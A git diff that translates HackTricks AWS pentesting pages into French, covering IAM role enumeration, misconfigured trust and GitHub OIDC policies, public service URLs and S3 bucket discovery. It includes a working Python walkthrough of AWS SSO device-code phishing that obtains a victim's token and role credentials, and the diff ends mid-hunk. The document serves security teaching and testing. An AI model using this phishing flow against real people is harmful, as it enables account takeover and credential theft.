+Configurer ou mettre à jour la **politique de confiance d'un rôle IAM implique de définir quels ressources ou services AWS sont autorisés à assumer ce rôle** et à obtenir des identifiants temporaires. Si la ressource spécifiée dans la politique **existe**, la politique de confiance est enregistrée **avec succès**. Cependant, si la ressource **n'existe pas**, une **erreur est générée**, indiquant qu'un principal invalide a été fourni.
 
 > [!WARNING]
-> Note that in that resource you could specify a cross account role or user:
+> Notez que dans cette ressource, vous pourriez spécifier un rôle ou un utilisateur inter-compte :
 >
 > - `arn:aws:iam::acc_id:role/role_name`
 > - `arn:aws:iam::acc_id:user/user_name`
 
-This is a policy example:
-
+Voici un exemple de politique :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::216825089941:role/Test"
-      },
-      "Action": "sts:AssumeRole"
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::216825089941:role/Test"
+},
+"Action": "sts:AssumeRole"
+}
+]
 }
 ```
-
 #### GUI
 
-That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating)
+C'est l'**erreur** que vous trouverez si vous utilisez un **rôle qui n'existe pas**. Si le rôle **existe**, la politique sera **enregistrée** sans aucune erreur. (L'erreur concerne la mise à jour, mais cela fonctionne également lors de la création)
 
 ![](<../../../images/image (153).png>)
 
 #### CLI
-
 ```bash
 ### You could also use: aws iam update-assume-role-policy
 # When it works
 aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
 {
-    "Role": {
-        "Path": "/",
-        "RoleName": "Test-Role",
-        "RoleId": "AROA5ZDCUJS3DVEIYOB73",
-        "Arn": "arn:aws:iam::947247140022:role/Test-Role",
-        "CreateDate": "2022-05-03T20:50:04Z",
-        "AssumeRolePolicyDocument": {
-            "Version": "2012-10-17",
-            "Statement": [
-                {
-                    "Effect": "Allow",
-                    "Principal": {
-                        "AWS": "arn:aws:iam::316584767888:role/account-balance"
-                    },
-                    "Action": [
-                        "sts:AssumeRole"
-                    ]
-                }
-            ]
-        }
-    }
+"Role": {
+"Path": "/",
+"RoleName": "Test-Role",
+"RoleId": "AROA5ZDCUJS3DVEIYOB73",
+"Arn": "arn:aws:iam::947247140022:role/Test-Role",
+"CreateDate": "2022-05-03T20:50:04Z",
+"AssumeRolePolicyDocument": {
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::316584767888:role/account-balance"
+},
+"Action": [
+"sts:AssumeRole"
+]
+}
+]
+}
+}
 }
 
 # When it doesn't work
 aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
 An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
 ```
-
-You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)
+Vous pouvez automatiser ce processus avec [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)
 
 - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
 
-Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):
+Notre utilisation de [Pacu](https://github.com/RhinoSecurityLabs/pacu) :
 
 - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
 - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration
+- Le rôle `admin` utilisé dans l'exemple est un **rôle dans votre compte à être usurpé** par pacu pour créer les politiques dont il a besoin pour l'énumération
 
 ### Privesc
 
-In the case the role was bad configured an allows anyone to assume it:
-
+Dans le cas où le rôle était mal configuré et permet à quiconque de l'assumer :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": "sts:AssumeRole"
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
 }
 ```
+L'attaquant pourrait simplement le supposer.
 
-The attacker could just assume it.
-
-## Third Party OIDC Federation
-
-Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\
-This trust might give access to a role with the following **trust policy**:
+## Fédération OIDC de tiers
 
+Imaginez que vous parvenez à lire un **workflow Github Actions** qui accède à un **rôle** à l'intérieur d'**AWS**.\
+Cette confiance pourrait donner accès à un rôle avec la **politique de confiance** suivante :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
-      },
-      "Action": "sts:AssumeRoleWithWebIdentity",
-      "Condition": {
-        "StringEquals": {
-          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
-        }
-      }
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
 }
 ```
+Cette politique de confiance peut être correcte, mais le **manque de plus de conditions** devrait vous inciter à vous méfier.\
+Ceci est dû au fait que le rôle précédent peut être assumé par **QUICONQUE de Github Actions** ! Vous devriez spécifier dans les conditions d'autres éléments tels que le nom de l'organisation, le nom du dépôt, l'environnement, la branche...
 
-This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\
-This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach...
-
-Another potential misconfiguration is to **add a condition** like the following:
-
+Une autre mauvaise configuration potentielle est d'**ajouter une condition** comme suit :
 ```json
 "StringLike": {
-    "token.actions.githubusercontent.com:sub": "repo:org_name*:*"
+"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
 }
 ```
+Notez le **joker** (\*) avant le **deux-points** (:). Vous pouvez créer une org telle que **org_name1** et **assumer le rôle** depuis une action Github.
 
-Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action.
-
-## References
+## Références
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
index fd4d31de6..0e4dd1918 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
@@ -2,35 +2,32 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## AWS Device Code Phishing
+## Phishing par Code de Dispositif AWS
 
-Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**.
+Initialement proposé dans [**cet article de blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), il est possible d'envoyer un **lien** à un utilisateur utilisant AWS SSO qui, si le **utilisateur accepte**, permettra à l'attaquant d'obtenir un **jeton pour usurper l'identité de l'utilisateur** et accéder à tous les rôles auxquels l'utilisateur peut accéder dans le **Identity Center**.
 
-In order to perform this attack the requisites are:
+Pour réaliser cette attaque, les prérequis sont :
 
-- The victim needs to use **Identity Center**
-- The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`
+- La victime doit utiliser le **Identity Center**
+- L'attaquant doit connaître le **sous-domaine** utilisé par la victime `<victimsub>.awsapps.com/start`
 
-Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account.
+Juste avec les informations précédentes, l'**attaquant pourra envoyer un lien à l'utilisateur** qui, s'il est **accepté**, accordera à l'**attaquant l'accès au compte** utilisateur AWS.
 
-### Attack
+### Attaque
 
-1. **Finding the subdomain**
+1. **Trouver le sous-domaine**
 
-The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here.
-
-With this info, it's possible to get the region where the Indentity Center was configured with:
+La première étape de l'attaquant est de découvrir le sous-domaine que l'entreprise victime utilise dans son Identity Center. Cela peut être fait via **OSINT** ou **devinette + BF** car la plupart des entreprises utiliseront leur nom ou une variation de leur nom ici.
 
+Avec cette info, il est possible d'obtenir la région où le Identity Center a été configuré :
 ```bash
 curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
 "region":"us-east-1
 ```
+2. **Générez le lien pour la victime & Envoyez-le**
 
-2. **Generate the link for the victim & Send it**
-
-Run the following code to generate an AWS SSO login link so the victim can authenticate.\
-For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token:
-
+Exécutez le code suivant pour générer un lien de connexion AWS SSO afin que la victime puisse s'authentifier.\
+Pour la démonstration, exécutez ce code dans une console python et ne la quittez pas car vous aurez besoin de certains objets pour obtenir le token :
 ```python
 import boto3
 
@@ -39,89 +36,84 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
 
 sso_oidc = boto3.client('sso-oidc', region_name=REGION)
 client = sso_oidc.register_client(
-    clientName = 'attacker',
-    clientType = 'public'
+clientName = 'attacker',
+clientType = 'public'
 )
 
 client_id = client.get('clientId')
 client_secret = client.get('clientSecret')
 authz = sso_oidc.start_device_authorization(
-    clientId=client_id,
-    clientSecret=client_secret,
-    startUrl=AWS_SSO_START_URL
+clientId=client_id,
+clientSecret=client_secret,
+startUrl=AWS_SSO_START_URL
 )
 
 url = authz.get('verificationUriComplete')
 deviceCode = authz.get('deviceCode')
 print("Give this URL to the victim: " + url)
 ```
+Envoyez le lien généré à la victime en utilisant vos incroyables compétences en ingénierie sociale !
 
-Send the generated link to the victim using you awesome social engineering skills!
+3. **Attendez que la victime l'accepte**
 
-3. **Wait until the victim accepts it**
-
-If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\
-This is how the promp looks nowadays:
+Si la victime était **déjà connectée à AWS**, elle n'aura qu'à accepter l'octroi des permissions, si elle ne l'était pas, elle devra **se connecter puis accepter l'octroi des permissions**.\
+Voici à quoi ressemble l'invite de nos jours :
 
 <figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
 
-4. **Get SSO access token**
-
-If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**:
+4. **Obtenez le jeton d'accès SSO**
 
+Si la victime a accepté l'invite, exécutez ce code pour **générer un jeton SSO en usurpant l'utilisateur** :
 ```python
 token_response = sso_oidc.create_token(
-    clientId=client_id,
-    clientSecret=client_secret,
-    grantType="urn:ietf:params:oauth:grant-type:device_code",
-    deviceCode=deviceCode
+clientId=client_id,
+clientSecret=client_secret,
+grantType="urn:ietf:params:oauth:grant-type:device_code",
+deviceCode=deviceCode
 )
 sso_token = token_response.get('accessToken')
 ```
+Le jeton d'accès SSO est **valide pendant 8h**.
 
-The SSO access token is **valid for 8h**.
-
-5. **Impersonate the user**
-
+5. **Usurper l'identité de l'utilisateur**
 ```python
 sso_client = boto3.client('sso', region_name=REGION)
 
 # List accounts where the user has access
 aws_accounts_response = sso_client.list_accounts(
-        accessToken=sso_token,
-        maxResults=100
+accessToken=sso_token,
+maxResults=100
 )
 aws_accounts_response.get('accountList', [])
 
 # Get roles inside an account
 roles_response = sso_client.list_account_roles(
-        accessToken=sso_token,
-        accountId=<account_id>
+accessToken=sso_token,
+accountId=<account_id>
 )
 roles_response.get('roleList', [])
 
 # Get credentials over a role
 
 sts_creds = sso_client.get_role_credentials(
-        accessToken=sso_token,
-        roleName=<role_name>,
-        accountId=<account_id>
+accessToken=sso_token,
+roleName=<role_name>,
+accountId=<account_id>
 )
 sts_creds.get('roleCredentials')
 ```
+### Phishing le MFA impénétrable
 
-### Phishing the unphisable MFA
+C'est amusant de savoir que l'attaque précédente **fonctionne même si un "MFA impénétrable" (webAuth) est utilisé**. Cela est dû au fait que le **flux de travail précédent ne quitte jamais le domaine OAuth utilisé**. Contrairement à d'autres attaques de phishing où l'utilisateur doit supplanter le domaine de connexion, dans le cas où le flux de code de dispositif est préparé, un **code est connu par un dispositif** et l'utilisateur peut se connecter même sur une machine différente. Si le prompt est accepté, le dispositif, juste en **connaissant le code initial**, sera capable de **récupérer les identifiants** pour l'utilisateur.
 
-It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user.
+Pour plus d'infos à ce sujet, [**consultez ce post**](https://mjg59.dreamwidth.org/62175.html).
 
-For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html).
-
-### Automatic Tools
+### Outils Automatiques
 
 - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
 - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
 
-## References
+## Références
 
 - [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
 - [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
@@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217
 - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
index 38622c338..e80ac5166 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
@@ -2,16 +2,10 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Public URL template
-
+### Modèle d'URL public
 ```
 mqtt://{random_id}.iot.{region}.amazonaws.com:8883
 https://{random_id}.iot.{region}.amazonaws.com:8443
 https://{random_id}.iot.{region}.amazonaws.com:443
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
index 58b8a1309..39ae70e64 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
@@ -2,14 +2,8 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Public URL template
-
+### Modèle d'URL public
 ```
 https://{random_id}.kinesisvideo.{region}.amazonaws.com
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
index 5109a2044..56b4c0923 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
@@ -2,25 +2,19 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Public Function URL
+## URL de fonction publique
 
-It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities.
-
-### Public URL template
+Il est possible de relier un **Lambda** à une **URL de fonction publique** à laquelle tout le monde peut accéder. Cela pourrait contenir des vulnérabilités web.
 
+### Modèle d'URL publique
 ```
 https://{random_id}.lambda-url.{region}.on.aws/
 ```
+### Obtenir l'ID de compte à partir de l'URL Lambda publique
 
-### Get Account ID from public Lambda URL
+Tout comme avec les buckets S3, Data Exchange et les API gateways, il est possible de trouver l'ID de compte d'un compte en abusant de la **`aws:ResourceAccount`** **Policy Condition Key** à partir d'une URL lambda publique. Cela se fait en trouvant l'ID de compte un caractère à la fois en abusant des jokers dans la section **`aws:ResourceAccount`** de la politique.\
+Cette technique permet également d'obtenir **les valeurs des tags** si vous connaissez la clé du tag (il y en a quelques-unes par défaut intéressantes).
 
-Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
-This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
-
-You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
+Vous pouvez trouver plus d'informations dans la [**recherche originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
index 2bbc4fdd6..8280b9205 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
@@ -2,16 +2,10 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Public URL template
-
+### Modèle d'URL public
 ```
 https://{random_id}.mediaconvert.{region}.amazonaws.com
 https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
 https://{random_id}.data.mediastore.{region}.amazonaws.com
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
index ab06211e2..92a5ee675 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
@@ -2,25 +2,19 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Public Port
+## Port Public
 
 ### **RabbitMQ**
 
-In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
+Dans le cas de **RabbitMQ**, par **défaut, l'accès public** et ssl sont activés. Mais vous avez besoin de **identifiants** pour accéder (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). De plus, il est possible d'**accéder à la console de gestion web** si vous connaissez les identifiants dans `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
 
 ### ActiveMQ
 
-In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access.
-
-### Public URL template
+Dans le cas de **ActiveMQ**, par défaut, l'accès public et ssl sont activés, mais vous avez besoin d'identifiants pour accéder.
 
+### Modèle d'URL publique
 ```
 https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
 ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
index 9bbbd408d..e8b7d01e6 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
@@ -2,21 +2,15 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Public Port
+### Port Public
 
-It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured).
+Il est possible de **rendre le broker Kafka public**, mais vous aurez besoin de **identifiants**, de permissions IAM ou d'un certificat valide (selon la méthode d'authentification configurée).
 
-It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet.
-
-### Public URL template
+Il est également **possible de désactiver l'authentification**, mais dans ce cas, **il n'est pas possible d'exposer directement** le port à Internet.
 
+### Modèle d'URL publique
 ```
 b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
 {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
index 218300e3f..9f7e9ffb5 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
@@ -1,23 +1,22 @@
-# AWS - RDS Unauthenticated Enum
+# AWS - RDS Enum non authentifié
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
-## Public Port
+## Port Public
 
-It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database.
+Il est possible de donner un accès public à la **base de données depuis Internet**. L'attaquant devra néanmoins **connaître le nom d'utilisateur et le mot de passe,** l'accès IAM, ou un **exploit** pour entrer dans la base de données.
 
-## Public RDS Snapshots
-
-AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account:
+## Instantanés RDS Publics
 
+AWS permet de donner **accès à quiconque pour télécharger des instantanés RDS**. Vous pouvez lister ces instantanés RDS publics très facilement depuis votre propre compte :
 ```bash
 # Public RDS snapshots
 aws rds describe-db-snapshots --include-public
@@ -33,16 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
 ## Even if in the console appear as there are public snapshot it might be public
 ## snapshots from other accounts used by the current account
 ```
-
-### Public URL template
-
+### Modèle d'URL publique
 ```
 mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
index ab1577a1e..2f3da69b1 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
@@ -2,14 +2,8 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Public URL template
-
+### Modèle d'URL public
 ```
 {user_provided}.<random>.<region>.redshift.amazonaws.com
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
index 28c7b1673..734931ad6 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
@@ -4,40 +4,40 @@
 
 ## S3 Public Buckets
 
-A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**.
+Un bucket est considéré comme **“public”** si **tout utilisateur peut lister le contenu** du bucket, et **“privé”** si le contenu du bucket ne peut **être listé ou écrit que par certains utilisateurs**.
 
-Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs).
+Les entreprises peuvent avoir des **permissions de buckets mal configurées** donnant accès soit à tout, soit à tous les utilisateurs authentifiés dans AWS dans n'importe quel compte (donc à quiconque). Notez que même avec de telles mauvaises configurations, certaines actions peuvent ne pas être possibles car les buckets peuvent avoir leurs propres listes de contrôle d'accès (ACL).
 
-**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud)
+**En savoir plus sur la mauvaise configuration d'AWS-S3 ici :** [**http://flaws.cloud**](http://flaws.cloud/) **et** [**http://flaws2.cloud/**](http://flaws2.cloud)
 
 ### Finding AWS Buckets
 
-Different methods to find when a webpage is using AWS to storage some resources:
+Différentes méthodes pour trouver quand une page web utilise AWS pour stocker certaines ressources :
 
-#### Enumeration & OSINT:
+#### Enumeration & OSINT :
 
-- Using **wappalyzer** browser plugin
-- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History.
-- **Check for resources** in domains like:
+- Utiliser le plugin de navigateur **wappalyzer**
+- Utiliser burp (**spidering** le web) ou en naviguant manuellement à travers la page, toutes les **ressources** **chargées** seront sauvegardées dans l'historique.
+- **Vérifiez les ressources** dans des domaines comme :
 
-  ```
-  http://s3.amazonaws.com/[bucket_name]/
-  http://[bucket_name].s3.amazonaws.com/
-  ```
+```
+http://s3.amazonaws.com/[bucket_name]/
+http://[bucket_name].s3.amazonaws.com/
+```
 
-- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com`
-- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**.
-- The **bucket name** and the **bucket domain name** needs to be **the same.**
-  - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`.
-  - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
+- Vérifiez les **CNAMES** car `resources.domain.com` pourrait avoir le CNAME `bucket.s3.amazonaws.com`
+- Vérifiez [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), un site avec déjà des **buckets ouverts découverts**.
+- Le **nom du bucket** et le **nom de domaine du bucket** doivent être **les mêmes.**
+- **flaws.cloud** est dans **IP** 52.92.181.107 et si vous y allez, cela vous redirige vers [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). De plus, `dig -x 52.92.181.107` donne `s3-website-us-west-2.amazonaws.com`.
+- Pour vérifier qu'il s'agit d'un bucket, vous pouvez également **visiter** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
 
 #### Brute-Force
 
-You can find buckets by **brute-forcing name**s related to the company you are pentesting:
+Vous pouvez trouver des buckets en **brute-forçant des noms** liés à l'entreprise que vous testez :
 
 - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
 - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
-- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
+- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contient une liste avec des noms de buckets potentiels)
 - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
 - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
 - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
@@ -77,16 +77,15 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep buck
 
